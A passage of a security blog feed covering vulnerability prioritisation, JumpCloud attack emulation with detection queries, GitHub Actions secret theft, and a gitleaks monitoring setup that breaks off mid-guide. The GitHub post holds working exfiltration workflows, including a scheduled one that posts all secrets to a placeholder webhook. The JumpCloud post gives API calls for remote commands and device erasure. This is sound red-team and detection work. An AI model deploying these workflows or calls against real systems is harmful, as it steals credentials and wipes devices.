One significant concern revolves around Open Source License Obligations, a topic that deserves its own post to delve into in depth. Furthermore, it’s essential to address disclosed security vulnerabilities associated with these libraries.Traditionally, the mantra for many internal security teams has been to “run a vulnerability scanner and fix all ‘High’ and ‘Critical’ issues” when dealing with security problems in third-party libraries. However, this approach may prove impractical in fast-paced or large companies with a microservices architecture.

In a typical company that employs a microservices based architecture, there may be hundreds of microservices, each with a unique set of third-party open-source dependencies spanning a wide range of technology stacks. Monitoring these service-level third-party dependencies using popular scanners like Dependabot can lead to an influx of daily alerts. These alerts cover a spectrum of issues, from straightforward package version upgrades to complex dependency conflicts.

Most of these scanners assign a severity rating based on the Common Vulnerability Scoring System (CVSS), with Version 3 (CVSS V3) being the widely adopted standard at the time of this writing. However, crafting security policies and making decisions solely based on the CVSS score can lead to an overwhelming number of vulnerabilities to address. This can result in developers not taking these alerts seriously or struggling to manage them effectively.

Prioritising Vulnerabilities Detected by Scanners:

Vulnerability prioritisation is an essential process in modern cybersecurity that involves identifying and ranking security vulnerabilities based on their severity and potential impact on an organization’s systems and data. Prioritisation is crucial because it allows security teams to focus their limited resources on the most critical vulnerabilities, thereby reducing the overall risk to the organization.

Why Do we Need Vulnerability Prioritisation?

At present, the Common Vulnerability Scoring System (CVSS) serves as a widely embraced approach for evaluating the seriousness of security vulnerabilities. It assigns a numerical rating on a scale from 0 to 10 to gauge the potential impact of a vulnerability, taking into consideration factors such as the intricacy of the exploit and the potential consequences for the compromised system. Although the CVSS scoring system proves valuable for prioritising vulnerabilities, it does have certain constraints that limit its effectiveness when used in isolation.

To begin with, the CVSS scoring system relies on a set of predefined metrics, which may not fully capture the intricacies and repercussions of certain vulnerabilities. For instance, a vulnerability might receive a less severity rating according to the CVSS score, yet in reality, it could be a part of a more extensive attack sequence that might lead to a significant security breach.

Additionally, the CVSS scoring system primarily concentrates on technical aspects and does not factor in the business impact of a vulnerability. This can result in situations where vulnerabilities with substantial implications for business operations or critical data receive lower severity ratings than less impactful vulnerabilities.

Finally, the CVSS scoring system doesn’t incorporate the likelihood of a vulnerability being exploited in real-world scenarios. Vulnerabilities with low CVSS scores may still be actively targeted by malicious actors if there are no effective countermeasures in place or if the vulnerability is part of a widespread cyberattack campaign.

How Can We Achieve Vulnerability Prioritisation?

There are few crucial attributes to look at whenever we analyse a third party library security alert. Note that this can be extensively applied to other assets / systems. (containers, servers etc)

1. Is it a direct / transitive dependency?
2. Is it a runtime / Development Dependency ?
3. Is the vulnerable function from the affected dependency reachable by first party code?(Reachability Analysis)
4. What are the attack trends associated with the discovered vulnerability(PoC exploit available? etc) and how to prioritise based on such trends?
5. Is Patch Available / package abandoned by maintainer?

Is it a direct / transitive dependency?

Security vulnerabilities in your project’s / service’s direct dependencies should be given the highest priority. These are the libraries or packages you explicitly include in your project, and any vulnerabilities in them directly affect your code. Transitive dependencies are the libraries or packages that your direct dependencies rely on.While they are not directly part of your codebase, they can still pose a risk if they have known security issues.

Is it a runtime / Development Dependency ?

If you work in a typical company environment that was described earlier, you would know about 10’s of ReDOS vulnerability alerts that are marked as “High” on a day to day basis by these scanners . dependencies marked with “development” attribute  . DevDependencies often include things like testing frameworks, build tools, linters, and other development-related libraries or packages. These dependencies are essential for developers working on the project to ensure code quality, test functionality, and build the software, but they do not need to be installed or included in the final production deployment.

In contrast, “dependencies” (without the “dev” prefix) refer to the packages or libraries that a software project relies on for its normal operation during runtime. These are essential components of the software and must be installed and available when the software is used in production.

Runtime Dependency issues should be given the highest priority as its reachable / exposed to attackers when application is in production.

Tip: Dependabot has a rule which can be configured to auto dismiss low impactful alerts and can be enabled in security analysis settings.

Is the vulnerable function / code from the affected third party dependency reachable by first party code?(Reachability Analysis)

Next prioritisation attribute to look at is “Reachability” . Vulnerability can only be exploited by a threat actor if our first party code consumes vulnerable function from the third party library and is reachable to an external threat actor via any means. ( functionality on web etc). There are several Reachability analysis tools which are efficient & commercial for automated reachability analysis for better prioritisation. ( https://www.endorlabs.com/  & https://semgrep.dev/products/semgrep-supply-chain/ ) .

Vulnerabilities which are reachable by first party code should be given highest priority. If you plan to conduct manual reachability analysis, it’s crucial to recognize that this should be an ongoing, recurrent task. Even if there are currently no existing references for your analysis, it’s essential to acknowledge the potential for such references to emerge in the future. This looming possibility, often likened to a “ticking time bomb,” underscores the importance of not disregarding this task. Utilising automated reachability analysis tools is the recommended approach to address this concern effectively.

What are the attack trends associated with the discovered vulnerability(PoC exploit available?) and how to prioritise based on such trends?

Most of the alerts received by scanners has a CVSS score and CVE ID attached.As CVSS v3 do not take into account of attack trends , For effective prioritisation of vulnerabilities , it can be combined with metrics such as Exploit Predictability Score System ( EPSS ) and can be clubbed with other feeds such as CISA’s Known Exploited Vulnerabilities Catalog ( KEV).

Exploit Predictability Score System : (EPSS) (here)

One effective method of prioritisation is the use of an exploit predictability score system, which assigns a score to vulnerabilities based on the likelihood that they will be exploited by threat actors in next 30 days. The system works by analysing factors such as the availability of exploit code, the complexity of the vulnerability, and the popularity of the affected software or system. By using an exploit predictability score system to prioritise vulnerabilities, organisations can focus their efforts on addressing the most critical threats first. This approach allows security teams to efficiently allocate resources and remediate vulnerabilities before they are exploited, thereby reducing the risk of data breaches, downtime, and other security incidents.

CISA’s Known Exploited Vulnerabilities Catalog: (KEV)(here)

CISA’s Known Exploited Vulnerabilities Catalog is a public database maintained by the United States Cybersecurity and Infrastructure Security Agency (CISA). The catalog provides information on known vulnerabilities that have been exploited by cybercriminals, as well as information on the tactics, techniques, and procedures (TTPs) used in those attacks.The catalog contains a list of Common Vulnerabilities and Exposures (CVEs) that have been actively exploited by threat actors, along with information on the types of attacks and malware associated with each CVE. The catalog is regularly updated with new information as it becomes available, making it a valuable resource for security teams and other stakeholders.

The following Sample Prioritisation matrix can be used internally for better prioritisation of vulnerabilities combining CVSS V3 Severity , EPSS Score and KEV.

this matrix , assumes you are not using automated reachability analysis tools and are blinded by the “time bomb” scenario that was mentioned in the reachability part. Offering development teams a bit of extra buffer time for issue resolution would undoubtedly be appreciated. The prioritisation matrix can be tailored to align with your company’s preferences and risk tolerance

Example :

lets assume ‘P0‘ critical vulnerability in your third party library discovered via an alerting tool. and SLA to fix P0 is 48 hours , SLA to fix P1 is 72 hours ,SLA to fix P2 is 7 days , SLA to fix P3 is 15 days.

Without the above prioritisation ,final priority would be “P0” Developers need to fix this issue within 48 hours. considering the above prioritisation , assuming EPSS score is < 0.088 and not reachable by first party code & also vulnerability is not available in KEV catalog, its final priority would be P3, buying 13 more days of time to fix .

Note : EPSS score (api), KEV catalog(here) details should be fetched every day as scores are updated everyday and can be used for reprioritisation of historical open alerts based on the changes. Reachability analysis should be done on recurring basis to make sure there are no new references after past analysis.

Why have we taken 0.088 as EPSS V3 score baseline?

As rightly highlighted here , the following baseline score was chosen. it can be modified as per companies risk appetite and availability of resources to fix the vulnerability .

Is Patch Available / package abandoned by maintainer?

Frequently, identified vulnerabilities lack an active patch, and, in more concerning cases, the maintainer has abandoned them. It is essential to give priority to alerts with available patches, but abandoned vulnerabilities should not be disregarded. They still represent potential threats, and their prioritization can be based on other attributes and the availability of potential workarounds. Considering an abandoned package as a risk, exploring the transition to an alternative package, or even taking on in-house maintenance can be viable steps in mitigating this risk.

References :

1. https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis
2. https://arxiv.org/pdf/2302.14172.pdf
3. https://www.first.org/epss/#
4. https://www.cisa.gov/known-exploited-vulnerabilities-catalog

The post Open Source Vulnerability Management : Insights on Prioritisation appeared first on .

JumpCloud(link), a cloud directory service, shares many similarities with Active Directory and offers efficient capabilities. In this post, we aim to provide clarity on a pressing question:

How quickly can we detect a compromised JumpCloud Administrator API token or Admin account, and why is it crucial?

Recent events, such as JumpCloud’s own security breach [link], have underscored the importance of early detection and monitoring in such scenarios. During their breach incident, it was revealed that their internal commands framework had been compromised, leading to the deployment of a malicious script into customer environments.(here) , based on the incident details provided by JumpCloud & Mandiant, we could infer Jumpcloud Internal Employee who had access to production database was compromised via spear phishing ,abusing his access, several malicious command jobs were scheduled on handful of JC customers organisation’s endpoints via database injection which finally resulted in infection of victims. This incident serves as a stark reminder for customers to enhance their monitoring of the JumpCloud network.

Furthermore, the growing trend of threat actors exploiting legitimate tools for command and control makes it imperative for the broader security community to be informed about ways to monitor such tools effectively.

This post is structured to provide insights for both offensive and defensive teams. It offers an overview of JumpCloud (JC) network, insights into the attacker’s perspective, and guidance on building monitoring capabilities for defenders.

Below are my personal notes and key takeaways from a recent engagement I participated in to help Detection team build monitoring around JumpCloud acting as an adversary.

Introduction:

JumpCloud’s similarity to Active Directory is notable. A JumpCloud Admin account can be equated to a Domain Admin Account in an Active Directory environment, granting extensive access to the entire JumpCloud network. The longer a threat actor remains undetected within the network, the more damage they can inflict. Therefore, it is of utmost importance to establish robust monitoring systems around JumpCloud to promptly identify and contain any anomalous behaviour.

To simplify the components and workflow of JumpCloud(JC) in comparison to traditional AD, there are several key elements:

1. User Objects: These represent individual users and their credentials.
2. System Objects: These represent machines or devices that are enrolled in JumpCloud.
3. User Groups: These are collections of users grouped together for various purposes, such as “devs,” “sysadmins,” or “marketing.”
4. System/Device Groups: These are collections of systems or devices, like servers or end-user machines, organised for management purposes.
5. Policy Objects: These are policies that can be applied to a system group or individual system to enforce specific configurations or security settings.
6. Policy Groups: These consist of multiple policies grouped together and associated with a device or system.
7. Command Object: This allows for the execution of individual commands on a system or system group for administrative purposes.

In summary, JumpCloud involves managing user and system objects, organising users and systems into groups, applying policies to enforce configurations, and executing commands as needed.

System administrators enroll devices in JumpCloud by installing the JumpCloud agent. This agent acts as an initialisation service, facilitating communication with JumpCloud’s servers. Once enrolled, administrators can manage devices using either the JumpCloud console or APIs, and JumpCloud’s cross-platform compatibility ensures it works seamlessly across different operating systems, including Windows, Mac, and Linux.

JumpCloud (JC) APIs consist of three distinct sets of APIs. When a threat actor possesses a JC API token, achieving persistence and enumeration becomes relatively straightforward due to the APIs’ accessibility over the public internet.

Directory Insights API

Directory Insights API allows you to query directory events at your organization. It provides event logs of activity within your directory and monitors user authentications to the console, SSO, RADIUS, and LDAP. Shine a light on your audit trails leading up to critical events. This is the backbone of our monitoring around JC. each operation done by an administrator or a user on JC generate specific event types, using which we can build our monitoring.Feeding the Jumpcloud directory insights event logs to SIEM systems is a must.

Note: Access to Directory insights is only available on selective plans.(here)We either can use directory insights API for monitoring JC events / use a third SIEM tools ( like Splunk) to ingest JC logs and build monitoring around it.

version 1: https://docs.jumpcloud.com/api/insights/directory/1.0/index.html

JumpCloud API

JumpCloud currently utilises two versions of APIs. Depending on the type of integration, it may be required to use both V1 and V2 APIs.

version 1 : JumpCloud API Docs

version 2: JumpCloud API Docs

To conclude, directory insight events can be used to build detection & monitoring around jumpcloud. JumpCloud API can be used to emulate threat actor actions.

Scenario:

let’s delve into the exciting aspect: a non-exhaustive list of JumpCloud (JC) events that can be triggered by a threat actor once they’ve infiltrated the compromised JC network. In this scenario, we’ll assume a threat actor has executed the following actions, and we’ll explore methods to detect these events if available. For clarity, we’ve simplified the scenario covering following steps:

1. Data Gathering and Enumeration: The threat actor begins by gathering all data and enumerating the existing JC environment.
2. Malicious Group Policy Creation: They proceed to create a malicious group policy within JC.
3. Attaching the Malicious Group Policy: The actor attaches this malicious group policy to system groups, such as ‘windows-group’ or ‘mac-group.’
4. Remote Command Execution: The threat actor executes remote commands on systems or system groups within JC.
5. System Data Erasure via MDM: Using JC’s Mobile Device Management (MDM) feature, they erase all system data across all systems.
6. Malicious Group Policy Deletion: Lastly, the actor deletes the malicious group policy and erases all previously created commands.

For each of these actions, we will identify the monitoring capabilities if available. Additionally, we will highlight key detection events corresponding to these actions.

Enumeration:

There are variety of ways that an attacker can do enumeration. The following list is non exhaustive and contains only a subset of critical/major calls that can be used by attackers.

1. Enumerate all the systems of the org : →

   1. curl -X GET https://console.jumpcloud.com/api/systems
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/1.0/index.html#operation/systems_list

2. Enumerate all the users of the org : →

   1. curl -X GET https://console.jumpcloud.com/api/systemusers
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/1.0/index.html#tag/Systemusers/operation/systemusers_list

3. Enumerate all the user groups of the org: →

   1. curl -X GET https://console.jumpcloud.com/api/v2/usergroups \
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json' \
        -H 'x-api-key: {API_KEY}'

4. Enumerate systems and system groups bound to each of the identified user with their privileges. →

   1. curl -X GET https://console.jumpcloud.com/api/v2/users/{UserID}/systems
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'
      

      curl -X GET https://console.jumpcloud.com/api/v2/users/{UserID}/systemgroups
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystem https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystemGroup

5. Enumerate policy groups bound to a system group : →

   1. curl -X GET https://console.jumpcloud.com/api/v2/systems/{System_ID}/policygroups
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_systemTraversePolicyGroup

6. Enumerate existing commands created by the sysadmins : →

   1. curl -X GET https://console.jumpcloud.com/api/commands/
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_list

7. Enumerate existing command results which are still on the JC(very handy and many a times juicy sensitive info!)  : →

   1. curl -X GET https://console.jumpcloud.com/api/commandresults
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json'
        -H 'x-api-key: {API_KEY}'

      https://docs.jumpcloud.com/api/1.0/index.html#tag/Command-Results/operation/command_results_list

Unfortunately, JC directory insight events do not have any out of the box event captures for enumeration, this has to be built on need basis ingesting audit logs.

Creating a Malicious Policy on JC and Associating it with a System Group:

To create a policy or group policies and associate them with a system group, JumpCloud provides a set of APIs. JumpCloud offers a wide range of policy enforcement options, including the ability to control antivirus behavior, push custom registry keys to associated system groups, and disable security hardening policies already applied to a system group, among other capabilities.

For an attacker, this functionality can be particularly useful, as it creates an opportunity for persistence and complete control over the JumpCloud network.

1. Create a policy : →

   1. curl -X POST https://console.jumpcloud.com/api/v2/policies \
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json' \
        -H 'x-api-key: {API_KEY}' \
        -d '{
          {Policy_Parameters}
        }'

      https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_post

2. Associate Policy to System Group :→

   1. curl -X POST https://console.jumpcloud.com/api/v2/policies/{Policy_ID}/associations/ \
        -H 'Accept: application/json' \
        -H 'Content-Type: application/json' \
        -H 'x-api-key: {API_KEY}' \
        -d '{
          "op": "add",
          "type": "system_group",
          "id": "{Group_ID}"
        }

      https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyAssociationsPost

      Once the association succeeds, policies associated with system groups are executed in real time.

How do we detect?

 We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API’s. you can further refine monitoring rule in conjunction to base event.

"event_type": "policy_create"
"event_type": "policy_update"
"event_type": "policy_delete"
"event_type": "association_change"

Splunk Query : index=jc-directoryinsights sourcetype=jc:events event_type=policy_create OR event_type=policy_delete OR event_type=policy_update OR event_type=association_change 

Code Execution:

Attackers can achieve code execution on the systems/system groups using the following API.

curl -X POST https://console.jumpcloud.com/api/commands/ \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json'
  -H 'x-api-key: {API_KEY}'
  -d '{"name":"Test API Command", "command":"{AnyCommand}", "user":"{UserID}", "schedule":"", "timeout":"100"}

https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_post

Using the above API, an attacker can create a command and force it to immediately run on the user associated systems /user associated system group.

How do we detect?

 We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API’s. you can further refine monitoring rule in conjunction to base event.

"event_type": "command_create"
Splunk Query: index=jc-directoryinsights sourcetype=jc:events event_type=command_create

Note: In case of JC breach, with the forensics provided(here), there was an immediate execution of a command which deployed and executed malicious ruby script. With the monitoring for such events, this action would have been flagged as anomaly on the customer’s network.

Using MDM feature of JC, Erase all the system data of all systems:

JumpCloud offers a range of remote Mobile Device Management (MDM) commands that empower administrators to remotely perform various operations on devices, from basic actions like restarts and shutdowns to more severe actions such as erasing all data on a system or locking users, all with a single API call. Unfortunately, threat actors can potentially abuse these commands to wreak havoc within the system.

We can achieve one of such sensitive events via the following API :

 curl -X POST https://console.jumpcloud.com/api/v2/applemdms/{apple_mdm_id}/devices/{device_id}/erase \
  -H 'accept: application/json' \
  -H 'content-type: application/json' \
  -H 'x-api-key: {API_KEY}' \
  -d '{}'

Erase an endpoint: https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_devicesClearActivationLock

apple_mdm_id can be fetched by prior call to following end point : https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list

all enrolled MDM device_id’s can be fetched by prior call to following end point: https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list

How do we detect?

 We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API’s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,

"event_type": "mdm_command_result"
Splunk Query: index=jc-directoryinsights sourcetype=jc:events mdm_command_result mdm_device_id="*" "command.request_type"=EraseDevice

Delete the malicious group policy and erase all the command results:

Finally as a cleanup, an attacker may try to delete the JC commands run, deleting the created policy , removing the relevant associations.

This can be achieved by the following API:

Dis-associate associations:

curl -X POST https://console.jumpcloud.com/api/v2/policygroups/{GroupID}/associations \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: {API_KEY}' \
  -d '{
    "op": "delete",
    "type": "system",
    "id": "{SystemID}"
  }'

https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyGroupAssociationsPost

Delete Policy:

curl -X DELETE https://console.jumpcloud.com/api/v2/policies/{id}\
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: {API_KEY}'

https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_delete

Delete Command:

curl -X DELETE https://console.jumpcloud.com/api/commands/{CommandID} \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: {API_KEY}'

https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_delete

How do we detect?

 We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API’s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,

"event_type": "command_delete"
"event_type": "policy_delete"
"event_type": "commandresult_delete"
Splunk Query: index=jc-directoryinsights sourcetype=jc:events event_type=command_delete OR event_type=policy_delete OR event_type=commandresult_delete

Detection in the above-mentioned scenario represents just a subset of the monitoring capabilities that can be developed using JumpCloud events. JumpCloud provides a diverse range of event types, enabling us to expand our monitoring scope and identify potentially malicious behaviour by threat actors within our network before they can disrupt our systems.

Few of the other interesting scenarios that can be looked at and needs active monitoring,

1. Granting global sudo access while creating a JC user.
2. Adding local users via JC group policies.
3. Many admin/privileged events in a short span of time. ( ex: 100’s of deletion of command results in short span of time.)
4. Locking out existing JC user.
5. Disabling MFA on an existing JC user.
6. Reviving suspended/inactive JC users.
7. Modifying existing organisation settings. (disable MFA etc )

Comprehensive event types and their exhaustive list can be found in the JumpCloud documentation, which serves as resource for building effective and vigilant monitoring. You can access this information here: Link to JumpCloud Documentation.

The post Jumpcloud and Security : tidbit for Attack and Detect appeared first on .

Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.

Basics of CI/CD Workflows :

GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as Private, safeguarding proprietary code, or Public, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.

In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the CI system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.

I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled “SLSA and DIP: It’s Build Time” (https://boostsecurity.io/blog/slsa-dip-its-build-time), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.

This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.

To exploit this misconfiguration, the following prerequisites should be considered:

1. Repository Creation or Write Access: The attacker must possess one of the following capabilities:
   • The ability to create a new repository within a private organization.
   • Write access to a repository that lacks branch protection rules.
   • The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets Stored at Organization Level accessible to misconfigured repository: The attacker’s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.

In our case we had,

1. Write access to a repository with no branch protection rules.
2. Ability to create a Github actions and trigger a workflow in previously identified repository.
3. I identified by reviewing Github workflow files of other repositories that there was a github secret “NPM_PRIV_TOKEN” consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context, and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal organisation secret “NPM_PRIV_TOKEN” .

Its Exploit time:

Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.

As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path “.github/workflows/exfil.yaml”

name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32

And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.

Check the Actions log to see the exfiltrated org secret.

And lets Base32 Decode the result to get the cleartext secret.

Mis-config 2 – Exfiltrate Repository level Secrets :

After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository’s workflow file, it used “${{secrets.CI_TOKEN }}” as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).

It’s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.

These are the prior conditions to be aware to exploit this misconfiguration :

1. Ability to create a new branch on a service repository .
2. GitHub Actions/Workflows Enabled: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.
3. Sensitive Secrets stored at Repository level for Selected Repository .

In our case we had,

1. Ability to create a new branch on identified service repository.
2. Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.
3.  secret ‘CI_TOKEN’ stored at identified service Github repo.
4. Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) & variable names with vars context and github built in function , toJson()

With the prior conditions to exploit satisfied , Our goal was to steal Repository secret “CI_TOKEN” .

Its Exploit time:

Create a New branch for the identified repository in our case lets create a new branch “test-exfiltration” from base branch.

Lets create a malicious github workflow file at the path “.github/workflows/exfil.yaml” for the newly created branch. I will follow this steps on UI for simplicity and better verbose.

name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32

We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.

To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization’s detection capabilities.

By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization’s security posture and response mechanisms.

name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://<your webhook>"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_SECRETS: ${{ toJSON(vars) }}

Voila, web hook received with exfiltrated base32 encoded secret.

Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .

Hardening notes to Github Admins/DevOps :

1. Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .
2. Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.
3. Limit organisation secrets exposure to selected repositories instead of all repositories .
4. Use reusable workflows to prevent unauthorised modifications to existing workflow files.
5. Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners )
6. Limit ability to run Github Actions for selected/required source repositories only.
7. Use Deployment protection rules and store secrets in the context of environment.
8. Adapt to supply chain security frameworks such as SLSA (https://slsa.dev/) to enhance security posture and guard against supply chain security threats.

In the end, it’s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization’s security posture.

References / articles worth quoting :

https://boostsecurity.io/blog/slsa-dip-its-build-time

https://slsa.dev/

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1

The post Github Misconfiguration to Secrets Exfiltration appeared first on .

In this post we will see how this end to end sensitive secrets monitoring system can be built for an organization which uses github as version control system as part of their SDLC.

Quick overview of the desired workflow : 

As you can see , we will be using gitleaks (an awesome and flexible secrets detection tool https://github.com/zricethezav/gitleaks ) to detect any patterns of secret that might be interesting to us. We would also be using github actions for couple of reasons instead of other build systems. One of the strongest point is because of its tight integration with github and less integration overheads. Github actions also gives  us more control over the events part of github.

Brief overview of the desired workflow :

1. We would be cloning, modifying a bit of code and host the github actions repository  at https://github.com/zricethezav/gitleaks-action/tree/v1.1.3 as one of our own private organization repository. This helps us to modify the existing gitleaks-action as per our needs. We would also be hosting gitleaks rules file in the same repo. this is for couple of reason,
   1. we want to make sure we have a centralized rules file for all the repositories that we want to monitor as part of the organization. This also helps us to modify rules file at a central location. (adding whitelisting patterns , whitelisting paths etc)
   2. We also do not want to use latest version of git leaks that might break the workflow(we use version v6.1.0).
2. Gitleaks would be configured as part of github actions workflow for all the repositories we want to monitor for any sensitive secret patterns. This step would use the private github action we created in the step 1.
3. Configured Github actions workflow trigger the scan for any secrets when a developer commits a new code to release/master branch.( Push event) / raises a new Pull request against master branch(PR event).

Step 1 :

Clone the repository hosted at https://github.com/zricethezav/gitleaks-action/tree/v1.1.3 , create a private repository under company org with desired name(ex: github-actions) and host the cloned code there . ( thanks to relaxed license policy by https://github.com/zricethezav/ )

Step 2 : 

Modify the existing Dockerfile by specifying version of git leaks release under private ‘github-actions’ repository which was created in step 1.

FROM zricethezav/gitleaks:v6.1.0

LABEL "com.github.actions.name"="gitleaks-action"
LABEL "com.github.actions.description"="runs gitleaks on push and pull request events"
LABEL "com.github.actions.icon"="shield"
LABEL "com.github.actions.color"="purple"
LABEL "repository"="https://github.com/zricethezav/gitleaks-action"

ADD entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

Step 3 :

